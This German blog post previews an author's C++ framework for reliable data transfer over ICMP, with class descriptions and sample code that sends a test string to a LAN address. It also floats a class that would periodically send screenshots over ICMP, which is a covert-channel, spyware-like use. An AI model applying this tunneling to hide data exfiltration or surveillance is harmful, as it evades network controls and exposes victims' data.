Hier sehen wir also rechts das Herzstück des Frameworks, die Klasse ICMPGateway, die für die Kommunikation mit dem Netzwerk verantwortlich ist. Innerhalb dieser Klasse gibt es zwei Threads, einen receiveThread, der genau das macht, was der Name verspricht. Er empfängt Bestätigungspakete von der Gegenseite und leitet das Nachsenden von fehlenden Paketen ein; das geschieht dann im resendThread. Links davon ist die Klasse DataSupply zu sehen, die als Interface für verschiedene Daten-sendede Klassen dient (hier nur PlainDataSender). ICMPGateway verwaltet die DataSupplies um ihre Pakete zuverlässig zustellen zu können. Das Zustellen der Pakete wird mit ICMPGateway::send eingeleitet. Diese Funktion ist blockend bis alle Daten bei der Gegenseite angekommen sind.
Die DataSupply-Klasse hat einen internen Zwischenspeicher für Pakete, auf die das ICMPGateway zugreift. Diese Storage lässt sich mit der funktion insertData füllen und hinterher mit dispatchStorage dann via ICMPGateway versenden.
Schließlich gibt es noch die (Beispiel-)Klasse PlainDataSender. Sie baut auf dem Framework auf und nutzt es um einfache Datenbuffer zu versenden. Hierfür sind 2 Funktionen verfügbar: dispatch und store. Store speichert daten in einem internen Speicher zwischen, bis dispatch aufgerufen wird und die Daten versendet werden. Diese Klasse ist dank dem Framework sehr einfach und greift nur auf die Funktionen von DataSupply zurück.
Ein weiteres Beispiel für eine solche Klasse, die das Framework nutzt wäre vielleicht ScreenShotSender, welche beispielsweise in bestimmten Intervallen Screenshots per ICMP an den Empfänger senden könnte. Da das ganze Projekt für Multithreading ausgelegt ist, funktioniert das alles auch simultan. Als kleiner Abschluss hier noch die Beispielsource von PlainDataSender.
PlainDataSender.h
01 | #include "DataSupply.h" |
02 |
03 | #define PACKETSIZE 28 |
04 | #define PLAINDATASENDER_ID 0 |
05 |
06 | class PlainDataSender : public DataSupply { |
07 | public : |
08 | void store( const byte *data, uint len); |
09 | void dispatch(std::string host); |
10 | byte getID() { |
11 | return PLAINDATASENDER_ID; |
12 | } |
13 | private : |
14 | std::vector<byte> storage; |
15 | }; |
01 | #include "PlainDataSender.h" |
02 |
03 | void PlainDataSender::store( const byte *data, uint len) { |
04 | for ( int i = 0; i < len; i++) |
05 | storage.push_back(data[i]); |
06 | } |
07 |
08 | void PlainDataSender::dispatch(std::string host) { |
09 | uint packetsize = PACKETSIZE; |
10 | uint done = 0, toDo = storage.size(); |
11 |
12 | while (done < toDo) { |
13 | if (toDo - done < packetsize) |
14 | packetsize = toDo - done; |
15 | insertData((byte *)(&storage[0] + done), packetsize); |
16 | done += packetsize; |
17 | } |
18 |
19 | storage.clear(); |
20 | dispatchStorage(host); |
21 | } |
main.cpp
01 | #include "PlainDataSender.h" |
02 |
03 | int main() { |
04 | PlainDataSender i; |
05 | string a = "Hallo, Test" ; |
06 |
07 | i.store((byte *)a.c_str(), a.length()); |
08 | i.store((byte *)a.c_str(), a.length()); |
09 |
10 | i.dispatch( "192.168.0.101" ); |
11 | return 0; |
12 | } |
So viel zur kleinen Vorschau zum Framework. Ich hoffe ich werde die Empfängerseite (die übrigens für Linux ausgelegt ist) morgen fertig stellen können, und dann das Framework hier weiter im Detail vorstellen und veröffentlichen können.
~fred
Abonnieren
Posts (Atom)